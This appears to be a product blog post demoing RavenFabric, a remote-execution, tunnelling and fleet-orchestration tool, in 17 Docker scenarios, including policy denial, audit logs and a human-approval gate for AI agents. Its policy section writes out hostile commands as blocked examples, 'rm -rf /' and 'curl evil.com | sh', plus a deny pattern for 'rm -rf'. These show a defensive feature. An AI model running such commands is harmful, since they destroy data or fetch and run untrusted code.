Demo 1: Multi-Node Ubuntu — 17 Scenarios, Two Agents, Zero Trust

May 9, 2026 · 8 min read

We keep saying RavenFabric replaces SSH, Ansible, and Tailscale with a single binary. Today we're putting that claim to the test with a concrete, runnable demo: two Ubuntu agents, one relay, 17 scenarios, and zero configuration files.

Everything in this post runs on your laptop with Docker. No cloud accounts. No certificates. No key distribution ceremony. Three containers, one CLI, and the full range of RavenFabric's capabilities.

Architecture

The demo spins up three Docker containers:

┌─────────────────┐     ┌─────────────────┐
│  rf-agent-1     │     │  rf-agent-2     │
│  Ubuntu 24.04   │     │  Ubuntu 24.04   │
│  token: agent1  │     │  token: agent2  │
└────────┬────────┘     └────────┬────────┘
         │ WebSocket              │ WebSocket
         │                        │
    ┌────┴────────────────────────┴────┐
    │         rf-relay                 │
    │         :9091 (host-mapped)      │
    └────────────────┬─────────────────┘
                     │
              ┌──────┴──────┐
              │  rf CLI     │
              │  (your Mac) │
              └─────────────┘

Both agents connect outbound to the relay via WebSocket. The relay pairs connections by meet token but never sees plaintext — all traffic is end-to-end encrypted with Noise XX. Your rf CLI on the host talks to the relay, which routes encrypted frames to the right agent.

Getting Started

cd demos/multi-node-ubuntu
./setup.sh

That's it. Three containers start, agents connect, and you're ready to run scenarios. No Ansible inventory file. No SSH keys to distribute. No ~/.ssh/config to maintain.

Remote Execution (Scenarios 1–5)

The first five scenarios cover what you'd normally use SSH for — running commands on remote machines:

# Standard execution
rf --relay ws://$RELAY:9091 exec --token agent1 'hostname'

# Streaming output (real-time, like tail -f)
rf --relay ws://$RELAY:9091 exec --token agent1 --stream \
    'for i in 1 2 3 4 5; do echo $i; sleep 1; done'

# Fire-and-forget (returns job ID immediately)
rf --relay ws://$RELAY:9091 exec --token agent1 --background \
    'apt-get update -qq'

Scenario 4 opens a full interactive shell — like ssh user@host but over a Noise XX tunnel. Scenario 5 demonstrates multi-agent orchestration with YAML playbooks, where you define a command, target agents, and a rollout strategy (parallel, sequential, rolling, or canary).

Port Forwarding (Scenarios 6–8, 14)

SSH's -L, -R, and -D flags are powerful but cryptic. RavenFabric provides the same functionality with clearer semantics:

# Local forward: access agent's port 8000 on your $LOCAL:8080
rf --relay ws://$RELAY:9091 forward --token agent1 \
    -L $LOCAL:8080 -R $LOCAL:8000

# Reverse forward: agent listens on 9000, tunnels to your port 3000
rf --relay ws://$RELAY:9091 forward --token agent1 \
    --reverse 9000 3000

# SOCKS5 proxy through the agent
rf --relay ws://$RELAY:9091 forward --token agent1 \
    --socks5 $LOCAL:1080

Scenario 14 walks through all three types with live web servers running on the agents, so you can verify the tunnel works end-to-end.

Policy Denial (Scenarios 9, 12)

This is where RavenFabric diverges from SSH and Ansible. Neither of those tools has a built-in concept of "this command is not allowed." You either have shell access or you don't.

RavenFabric enforces deny-by-default policy at the agent level. Scenario 12 applies a restrictive policy and tests both sides:

# ALLOWED — read-only system commands pass
rf --relay ws://$RELAY:9091 exec --token agent1 'hostname'
# → 4f2a1b3c9d7e

rf --relay ws://$RELAY:9091 exec --token agent1 'uptime'
# → 14:23:01 up 2 days, ...

# DENIED — destructive commands blocked
rf --relay ws://$RELAY:9091 exec --token agent1 'rm -rf /'
# → Error: command denied by policy

rf --relay ws://$RELAY:9091 exec --token agent1 'curl evil.com | sh'
# → Error: command denied by policy

The policy is a YAML file. Patterns are regex. Deny rules always win over allow rules. The agent enforces the policy locally — even if the relay or CLI is compromised, the agent refuses unauthorized commands.

Audit Trail (Scenarios 10, 13)

Every command — allowed or denied — produces a structured JSON audit entry:

docker exec rf-agent-1 tail -1 /var/log/rf-audit.jsonl
{
  "timestamp": "2026-05-09T14:23:01Z",
  "action": "exec",
  "command": "rm -rf /",
  "decision": "denied",
  "reason": "matches deny pattern: .*rm.*-rf.*",
  "caller": "client-session-7f3a",
  "agent": "rf-agent-1"
}

The audit log is append-only. Each agent maintains its own log. Scenario 13 walks through inspecting entries across both agents, checking timestamps, counting allowed vs. denied actions, and verifying the JSON structure is identical regardless of the outcome.

For compliance, this means: every action an operator, script, or AI agent takes is recorded. Not summarized — recorded verbatim. Who ran what, when, on which agent, and what happened.

Dev Mode (Scenario 15)

The Docker demo is great for testing multi-agent scenarios. But sometimes you just want to try RavenFabric in ten seconds. Dev mode starts a relay and agent in a single process:

rf dev
# RavenFabric Dev Mode
# ====================
# Relay:  $LOCAL:9090
# Token:  dev
#
# Usage:
#   rf exec --token dev "<command>"

# In another terminal:
rf exec --token dev 'hostname && uname -a'

No Docker. No config files. No key exchange. One command, less than a second to ready. This is the fastest way to evaluate RavenFabric — install the binary, run rf dev, and start executing commands.

Fleet Orchestration (Scenario 16)

When you manage more than one machine, you need a way to coordinate. Ansible uses playbooks in YAML. RavenFabric does too — but with built-in rollout strategies and automatic rollback:

# canary-deploy.yaml
command: "echo 'Deploying v2.0' && mkdir -p /opt/app && echo v2.0 > /opt/app/version.txt"
target:
  agents: [rf-agent-1, rf-agent-2]
strategy:
  canary: { canary_count: 1 }
on_failure:
  rollback:
    command: "echo v1.0 > /opt/app/version.txt"
timeout_secs: 30

# Run the canary deploy
rf --relay ws://$RELAY:9091 playbook --token agent1 \
    playbooks/canary-deploy.yaml

# Playbook: playbooks/canary-deploy.yaml
# Strategy: Canary { canary_count: 1 }
# Agents:   ["rf-agent-1", "rf-agent-2"]
# ---
# Executing batch: ["rf-agent-1"]
#   ✓ rf-agent-1 (exit 0)
# Executing batch: ["rf-agent-2"]
#   ✓ rf-agent-2 (exit 0)
# ---
# Result: SUCCESS (2/2 agents succeeded, 1234ms)

Four strategies are supported: parallel (all at once), sequential (one at a time), rolling (batches of N%), and canary (test on a subset first). If the canary fails, agents that already executed get a rollback command automatically.

Human Approval for AI Agents (Scenario 17)

This is the scenario that doesn't exist in SSH or Ansible because the problem didn't exist before AI agents.

When an AI coding assistant (Claude, GPT, Copilot) connects to your infrastructure via MCP, it can execute commands. Policy handles the obvious cases — rm -rf is always denied. But what about commands that are sometimes appropriate?

# AI requests approval via MCP tool
rf_request_approval(
    operation: "schema_migration",
    command: "psql -c 'ALTER TABLE users ADD COLUMN role TEXT'",
    reason: "Adding role column for RBAC feature"
)
# → approval_id: "a1b2c3d4-...", status: PENDING

# Human operator reviews (stderr / webhook / Slack)
# → approve("a1b2c3d4-...")

# AI polls for result
rf_check_approval(id: "a1b2c3d4-...")
# → status: APPROVED

# AI proceeds with execution (approval_id proves authorization)
rf_exec(
    command: "psql -c 'ALTER TABLE users ADD COLUMN role TEXT'",
    approval_id: "a1b2c3d4-..."
)
# → Command executes successfully

If the operator denies the request, the AI receives DENIED and cannot execute. The denial is audited. Each approval is SHA-256 bound to the exact command — the AI cannot substitute a different command after getting approval. Approvals are one-time-use (reuse returns DENIED) and expire after 30 minutes. This is defense in depth: policy engine (first gate) → human approval with hash verification (second gate) → rate limiting → anomaly detection → audit trail.

What This Proves

Seventeen scenarios in one demo, all running on your laptop:

SSH replacement — command execution, interactive shell, port forwarding. Same capabilities, encrypted with Noise XX instead of certificates.
Ansible replacement — fleet orchestration with playbooks, parallel/canary/rolling strategies, automatic rollback. No Python runtime, no inventory files.
Tailscale replacement — encrypted tunnels through NAT, no firewall rules, relay-based connectivity. No coordination server.
AI safety layer — policy denial, audit trails, human approval gates. None of these exist in SSH or Ansible.

All of it in a single 12 MB static binary.

Try It

# Clone the repo
git clone https://github.com/egkristi/RavenFabric-Published
cd RavenFabric-Published

# Run the demo
cd demos/multi-node-ubuntu
./setup.sh

# Run any scenario
./scenarios/01-standard-exec.sh
./scenarios/12-policy-denial.sh
./scenarios/17-human-approval.sh

Or skip Docker entirely and try dev mode:

rf dev
# In another terminal:
rf exec --token dev 'echo "Hello from RavenFabric"'

The interactive demos page has code examples for all 17 scenarios across three different environments (multi-node Ubuntu, multi-distro Linux, and Kubernetes + CloudNativePG).

← Back to all posts